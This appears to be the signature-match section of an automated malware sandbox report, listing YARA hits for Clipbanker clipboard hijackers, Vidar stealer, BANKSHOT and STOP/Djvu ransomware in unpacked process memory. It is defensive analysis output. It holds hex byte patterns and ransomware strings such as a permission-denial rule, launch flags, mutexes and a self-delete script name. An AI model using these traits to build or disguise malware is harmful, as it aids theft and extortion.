26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.8915a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.mstsca.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.mstsca.exe.9115a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
27.2.mstsca.exe.9115a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.mstsca.exe.9115a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.build2.exe.36815a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
26.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.build2.exe.36815a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
30.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.build2.exe.400000.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x31017:$x5: vchost.exe
28.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
18.2.mstsca.exe.9615a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
18.2.mstsca.exe.9615a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
18.2.mstsca.exe.9615a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
11.2.build3.exe.9715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.build3.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.build3.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.build3.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
15.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
15.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.build3.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
15.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
15.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
